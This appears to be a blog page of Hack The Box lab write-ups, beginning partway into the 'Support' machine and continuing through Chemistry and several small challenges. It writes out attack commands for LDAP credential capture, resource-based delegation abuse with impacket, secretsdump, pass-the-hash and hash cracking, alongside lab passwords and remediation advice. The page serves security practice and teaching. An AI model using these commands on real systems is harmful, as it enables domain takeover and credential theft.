    This shows us commands we can use.

    wine UserInfo.exe -v find

    It says we need to add a -first or -last which is likely a name.

    wine UserInfo.exe -v find -first “kami”

    It does LDAP queries. It looks like according to the writeup we should’ve used ILSpy so we could have gotten the domain name for our host file. Added support.htb to /etc/hosts. Next we can run wireshark and run a command to look for administrator.

    wine UserInfo.exe -v find -first “administrator”

    And we get a password in the communication ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

    We can run ldapsearches next.

    ldapsearch -H ldap://support.htb -D ldap@support.htb -w ‘nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz’ -b “dc=support,dc=htb” “*”

    This dumped a lot of information. The most interesting from the output, especially considering the box name, is the support account and in it’s info it looks like is has a password.

    support:Ironside47pleasure40Watchful

    Also the group Share Support Accounts is interesting. Evil-winrmed into the device and got user.txt.

    evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful

    Started bloodhound.

    sudo bloodhound-start

    bloodhound-python -u support -p Ironside47pleasure40Watchful -d support.htb -ns 10.129.6.25 -c All –zip

    Looks like that group is the path we need. 

    The group has a GenericAll privilege which will let us perform a RBCD attack. We can create a fake computer on the domain and request kerberos tickets. We can use impacket to do so:

    We can add a fake computer.

    impacket-addcomputer ‘support.htb/support:Ironside47pleasure40Watchful’ \ -computer-name ‘EVIL’ -computer-pass ‘Evil1234!’ 

    Set RBDC on the DC.

    impacket-rbcd ‘support.htb/support:Ironside47pleasure40Watchful’ \ -delegate-from ‘EVIL’ -delegate-to ‘DC’ -action write 

    Get a silver ticket.

    impacket-getST ‘support.htb/EVIL:Evil1234!’ \ -spn ‘cifs/dc.support.htb’ -impersonate Administrator 

    And we get a bunch of information but most importantly the Administrator hash by using the ticket.

    export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache impacket-secretsdump -k -no-pass dc.support.htb 

    Then we can pass the hash with Evil-winrm and grab the root flag.

    evil-winrm -i support.htb -u Administrator -H bb06cbc02b39abeddd1335bc30b19e26

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine with ports including 53 (DNS), 88 (Kerberos), 135 (MSRPC), 389 (LDAP), 445 (SMB), and 5985 (WinRM). DNS enumeration returned nothing useful. Checked SMB with anonymous access and found a readable Support-Tools share.

    rustscan -a 10.129.6.25 –ulimit 5000 -b 2000 — -A -Pn smbclient -N -L //10.129.6.25/

    2 – LDAP credential extraction from binary Downloaded UserInfo.exe from the Support-Tools share. Ran it under Wine and identified it as a tool for querying LDAP. Added support.htb to /etc/hosts. Ran Wireshark while executing a query to capture LDAP traffic and recovered the plaintext bind password from the network capture.

    wine UserInfo.exe -v find -first “administrator”

    Credentials recovered: ldap@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

    3 – LDAP enumeration and credential discovery Used the recovered credentials to perform a full LDAP dump. Found the support account with a password stored in its info attribute. Also identified the Shared Support Accounts group as notable.

    ldapsearch -H ldap://support.htb -D ldap@support.htb -w ‘nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz’ -b “dc=support,dc=htb” “*”

    Credentials recovered: support:Ironside47pleasure40Watchful

    4 – WinRM access and user flag Authenticated via evil-winrm as support and retrieved user.txt.

    evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful

    5 – BloodHound enumeration and RBCD attack Ran BloodHound to visualize AD attack paths. Identified that the Shared Support Accounts group had GenericAll privileges on the Domain Controller, enabling a Resource Based Constrained Delegation attack. Created a fake computer account, configured RBCD delegation from the fake computer to the DC, requested a silver ticket impersonating Administrator, and used it with secretsdump to recover the Administrator NTLM hash.

    impacket-addcomputer ‘support.htb/support:Ironside47pleasure40Watchful’ -computer-name ‘EVIL’ -computer-pass ‘Evil1234!’ impacket-rbcd ‘support.htb/support:Ironside47pleasure40Watchful’ -delegate-from ‘EVIL’ -delegate-to ‘DC’ -action write impacket-getST ‘support.htb/EVIL:Evil1234!’ -spn ‘cifs/dc.support.htb’ -impersonate Administrator impacket-secretsdump -k -no-pass dc.support.htb

    6 – Pass the hash as Administrator Used the Administrator NTLM hash with evil-winrm to authenticate and retrieved root.txt.

    evil-winrm -i support.htb -u Administrator -H bb06cbc02b39abeddd1335bc30b19e26


    Key Takeaways

    1. LDAP bind credentials hardcoded in a publicly distributed binary – The UserInfo.exe binary contained hardcoded LDAP credentials that were recoverable via network analysis or decompilation. Credentials must never be embedded in client-side binaries or any distributed software. Use certificate-based authentication or prompt for credentials at runtime.
    2. Anonymous SMB access exposing internal tooling – The Support-Tools share was readable without authentication and contained a binary used for internal LDAP queries. Anonymous SMB access must be disabled and all shares must require authentication. Internal tooling must never be distributed through unauthenticated file shares.
    3. Password stored in an AD user info attribute – The support account had its password stored in the LDAP info field, readable by any authenticated domain user. AD attributes must be audited regularly for credential data and passwords must never be stored in directory fields of any kind.
    4. GenericAll on Domain Controller enabling RBCD attack – The Shared Support Accounts group held GenericAll privileges on the DC object, allowing any member to configure Resource Based Constrained Delegation and impersonate any domain user including Administrator. GenericAll on a DC is equivalent to domain admin and must be audited and removed immediately. BloodHound should be run regularly to identify such privilege escalation paths.
    5. NTLM hash sufficient for full domain authentication – The Administrator hash obtained via secretsdump was usable directly for pass-the-hash without cracking. NTLM authentication must be disabled where possible, Credential Guard must be enabled, and the domain must be monitored for secretsdump and RBCD attack indicators.

    Remediation

    [Immediate] Remove hardcoded credentials from UserInfo.exe and rotate the LDAP account Remove the LDAP bind credentials from the binary immediately and rotate the ldap@support.htb account password. Redesign the tool to use certificate-based LDAP authentication or prompt for credentials at runtime. Audit all internally distributed binaries for embedded credentials using string analysis or decompilation.

    [Immediate] Disable anonymous SMB access and restrict the Support-Tools share Disable anonymous and guest SMB access across all shares immediately. Restrict the Support-Tools share to specific authorized users who have an operational need to access it. Audit all shares for sensitive files and remove any internal tooling that should not be publicly accessible.

    [Immediate] Remove credentials from all AD user attributes Audit all Active Directory user objects for passwords or sensitive data stored in info, description, comment, or any other attribute. Remove all findings and rotate affected credentials immediately. Implement an automated recurring check as part of AD health monitoring.

    [Immediate] Remove GenericAll from the Shared Support Accounts group on the DC Remove the GenericAll privilege from the Shared Support Accounts group on the Domain Controller object immediately. Audit all groups and users for excessive AD object permissions using BloodHound. Any group or account with GenericAll, WriteDACL, or GenericWrite on a DC must be treated as a critical finding requiring immediate remediation.

    [Short-term] Deploy BloodHound for continuous AD attack path monitoring Run BloodHound on a regular cadence to identify privilege escalation paths including RBCD opportunities, GenericAll assignments, and other dangerous ACL configurations. Integrate BloodHound findings into the vulnerability management program and establish SLAs for remediating high-risk AD attack paths.

    [Long-term] Implement tiered Active Directory administration and NTLM restrictions Adopt a tiered AD model restricting privileged group memberships and preventing standard accounts from holding rights over tier-0 assets such as Domain Controllers. Disable NTLM authentication across the domain where possible and enforce Kerberos. Enable Windows Defender Credential Guard and deploy SIEM detection rules for RBCD configuration changes, silver ticket requests, and secretsdump activity.

  • Chemistry writeup

    Chemistry writeup

    Box name: Chemistry

    Difficulty: Easy

    OS: Linux

    Overview: Chemistry is an easy-difficulty Linux machine that showcases a Remote Code Execution (RCE) vulnerability in the pymatgen (CVE-2024-23346) Python library by uploading a malicious CIF file to the hosted CIF Analyzer website on the target. After discovering and cracking hashes, we authenticate to the target via SSH as rosa user. For privilege escalation, we exploit a Path Traversal vulnerability that leads to an Arbitrary File Read in a Python library called AioHTTP (CVE-2024-23334) which is used on the web application running internally to read the root flag.

    Link: https://app.hackthebox.com/machines/Chemistry?sort_by=created_at&sort_type=desc

    Machine IP: 10.129.231.170

    Ran rustscan against the machine.

    rustscan -a 10.129.231.170 –ulimit 5000 -b 2000 — -A -Pn

    Checked out port 5000’s http server.

    Registered with an account kami:kami. Looks like we can upload a CIF file.

    Google a CIF reverse shell and found this. https://github.com/ex-cal1bur/CIF_Reverse_shell/blob/main/CIF_example.cif. Edited that with my IP and port and got a shell.

    Stabilized my shell. Read app.py and there’s a secret key in there and mentions of a SQL database. MyS3cretCh3mistry4PP

    Checked out /home and there is a user rosa, but no access to user.txt. Tried that Secret key for rosa but didn’t get in. Went back to the path I landed in and poked around and found a database.db file.

    Put the hashes in a files hashes.txt and ran hashcat.

    hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

    I got some passwords back.

    rosa:unicorniosrosados

    victoria:victoria123

    peter:peterparker

    carlos:carlos123

    I tried password reuse on root just in case. Logged into rosa and got user.txt

    Couldn’t find anything from manual enumeration. Dropped linpeas on the victim machine. So I looked at this but missed it the first time. In /opt there is a monitoring service file but I didn’t have read permissions and I initially ignored it. I also did look at the servers but missed on port 8080 there is something internal that is interesting. Port forwarded with SSH so we can see what that is.

    ssh -L 8080:127.0.0.1:8080 rosa@10.129.231.170

    That brings us to some site monitoring service.

    I got stuck here after some looking around and research so I peeked at the writeup. I could’ve rescanned the port.

    nmap -p 8080 -sV -sC 127.0.0.1

    This shows us the version. This is vulnerable to CVE 2025-23334 https://www.exploit-db.com/exploits/52474. Found this github https://github.com/z3rObyte/CVE-2024-23334-PoC. Edited the code and ran it but it did not work. Got stuck here again so I looked at the write for the remainder. Apparently the needs to be ran at /assets instead while the script was doing it at /static. Reran it and I got the flag.

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 5000 (HTTP). Browsed to port 5000 and found a CIF file analyzer web application. Registered an account and found a file upload feature.

    rustscan -a 10.129.231.170 –ulimit 5000 -b 2000 — -A -Pn

    2 – Initial Access – pymatgen malicious CIF file RCE – CVE-2024-23346 Researched CIF file exploitation and found CVE-2024-23346, a remote code execution vulnerability in the pymatgen Python library triggered by processing a malicious CIF file. Found a public malicious CIF template, edited it with the attack machine IP and port, uploaded it through the web application, and caught a reverse shell.

    3 – Database credential extraction and lateral movement Stabilized the shell and read app.py which contained a hardcoded secret key and a reference to a SQLite database. Located database.db and extracted MD5 password hashes for multiple users. Cracked them with Hashcat using rockyou. Tried rosa’s password via SSH and authenticated successfully. Retrieved user.txt.

    hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

    Credentials recovered: rosa:unicorniosrosados

    4 – Internal service discovery and port forwarding LinPEAS identified an internal service on port 8080. SSH port forwarded to access it from the attack machine. Found a site monitoring web application. Rescanned the forwarded port with Nmap to identify the service version running on aiohttp.

    ssh -L 8080:127.0.0.1:8080 rosa@10.129.231.170 nmap -p 8080 -sV -sC 127.0.0.1

    5 – Root flag via aiohttp path traversal – CVE-2024-23334 Identified the aiohttp version as vulnerable to CVE-2024-23334, a path traversal leading to arbitrary file read. Used a public PoC but initially failed because the script targeted /static rather than the correct /assets endpoint. Adjusted the endpoint and successfully read root.txt directly from the server without obtaining an interactive root shell.


    Key Takeaways

    1. pymatgen malicious CIF file RCE – CVE-2024-23346 (CVSS 8.8 High) – The web application processed user-uploaded CIF files using a vulnerable version of pymatgen that allowed arbitrary Python code execution embedded in the file. File upload endpoints that parse complex file formats must use sandboxed processing environments and must be kept fully patched. User-supplied files must never be processed in the same context as the web application.
    2. Hardcoded secret key in application source code – The Flask secret key was hardcoded in app.py and readable after gaining a foothold. Hardcoded secrets must be removed from source code and injected at runtime via environment variables or a secrets management solution. Application source files must have restrictive permissions to limit exposure after a compromise.
    3. MD5 password hashes in application database – User passwords were stored as unsalted MD5 hashes, crackable in seconds with a GPU and rockyou. MD5 is not a suitable algorithm for password storage and must be replaced with bcrypt, scrypt, or Argon2. Database files must have permissions restricting access to the application service account only.
    4. Weak passwords crackable with rockyou – Multiple user passwords including rosa’s were in the rockyou wordlist. All user account passwords must meet complexity requirements that resist dictionary attacks regardless of the hashing algorithm in use.
    5. aiohttp path traversal enabling arbitrary file read – CVE-2024-23334 (CVSS 7.5 High) – The internal monitoring service was running a vulnerable version of aiohttp that allowed path traversal through static file serving, enabling unauthenticated reading of arbitrary files including root.txt. Internal services must be kept patched and must not run as root when serving static content accessible to lower-privilege processes.

    Remediation

    [Immediate] Patch pymatgen to remediate CVE-2024-23346 (CVSS 8.8 High) Update pymatgen to the latest patched version immediately. Implement file type validation and content scanning on all uploaded CIF files. Process user-uploaded files in an isolated sandbox with no network access and no ability to affect the host application. Restrict the upload feature to authenticated users only.

    [Immediate] Patch aiohttp to remediate CVE-2024-23334 (CVSS 7.5 High) Update aiohttp to the latest patched version immediately. Restrict the internal monitoring service to localhost only and ensure it does not run as root. Apply firewall rules preventing access to port 8080 from any untrusted source. If the service has no business requirement, remove it entirely.

    [Immediate] Remove hardcoded secrets from application source code Remove the Flask secret key from app.py and rotate it immediately. Inject all application secrets at runtime using environment variables or a secrets manager such as HashiCorp Vault. Audit all application source files for hardcoded credentials, API keys, and secret values and remediate any findings.

    [Immediate] Replace MD5 password hashing with a modern algorithm Migrate all stored password hashes from MD5 to bcrypt, scrypt, or Argon2 with appropriate cost factors. Force a password reset for all affected accounts after migration. Audit all application databases for weak or unsalted hash algorithms.

    [Short-term] Enforce strong passwords across all accounts Multiple user passwords including rosa’s were crackable with rockyou. Enforce a minimum password length of 14 characters with complexity requirements across all application and OS accounts. Audit existing passwords against common wordlists and force resets where weak passwords are identified.

    [Long-term] Implement sandboxed file processing and a dependency patch management program Establish a policy requiring all user-uploaded file processing to occur in an isolated environment with no access to application resources or the host OS. Include all Python library dependencies in regular vulnerability scans using tools such as pip-audit or Safety. Define patch SLAs for high and critical severity dependency vulnerabilities and integrate dependency auditing into the CI/CD pipeline.

  • Urgent writeup

    Urgent writeup

    Challenge name: Urgent

    Difficulty: Very Easy

    Challenge Scenario: In the midst of Cybercity’s “Fray,” a phishing attack targets its factions, sparking chaos. As they decode the email, cyber sleuths race to trace its source, under a tight deadline. Their mission: unmask the attacker and restore order to the city. In the neon-lit streets, the battle for cyber justice unfolds, determining the factions’ destiny.

    Link: https://app.hackthebox.com/challenges/Urgent?tab=play_challenge

    Machine IP: NA

    Downloaded the files and unzipped them. Inside was an .eml email files. Copied the subject text.

    It’s base64 so I decoded that at https://www.base64decode.org/. That result was % encoded so I decoded that at https://www.url-encode-decode.com/. In that we get the flag.

    GG

  • Ancient Encodings writeup

    Ancient Encodings writeup

    Challenge name: Ancient Encodings

    Difficulty: Very Easy

    Challenge Scenario: Your initialization sequence requires loading various programs to gain the necessary knowledge and skills for your journey. Your first task is to learn the ancient encodings used by the aliens in their communication.

    Link: https://app.hackthebox.com/challenges/Ancient%2520Encodings?tab=play_challenge

    Machine IP: NA

    Downloaded the files and unzipped them. It gives us two files.

    Read both files.

    Researched how to unhex and decode in python and wrote a script to do so then got the flag.

    import binascii
    import base64
    hex_string = "inserthexhere”
    unhexed_string = binascii.unhexlify(hex_string)
    decoded_string = base64.b64decode(unhexed_string).decode('utf-8')
    print(decoded_string)

    GG

  • Replacement writeup

    Replacement writeup

    Challenge name: Replacement

    Difficulty: 

    Challenge Scenario: A cursed spell has altered a scroll, changing key letters. Replace the haunted letter with a random one to break the curse!

    Link: https://app.hackthebox.com/challenges/Replacement?tab=play_challenge

    Machine IP: 154.57.164.67:32493

    Navigated to the site and it’s a coding challenge. 

    It looks like it wants us to replace input 2 with input 3 in a given string input 3. I had some confusion on the input. I thought I had to keep it the way it was. Instead I split them. The we set output. Iterated through n and if the character was equal to the 2nd input we replace it and add to output otherwise just add to output.

    # take in the number
    n = input()
    b = input()
    c = input()
    # calculate answer
    output = ""
    for i in n:
    if i == b:
    i = c
    output = output + c
    else:
    output = output + i
    # print answer
    print(output)

    And I got the flag.

    GG

  • El Mundo writeup

    El Mundo writeup

    Challenge name: El Mundo

    Difficulty: Easy

    Challenge Scenario: You may not control time, but you can certainly control the flow of your program! Use your stand to bend it to your will!

    Link: https://app.hackthebox.com/challenges/El%2520Mundo?tab=play_challenge

    Machine IP: 154.57.164.67:32163

    Navigated to the site and downloaded the files. It looks like another buffer overflow.

    It already gives us a script too.

    It gives us the steps of what we need to overflow. Edited the code nybytes = 46 and overwriting the return address with the address of read_flag() 0x4016b7.

    Also change it to run locally.

    Ran it and I got the test flag. Set it back to False. Ran it against the machine and I got the real flag.

    ./solver.py 154.57.164.67 32163

    GG

Categories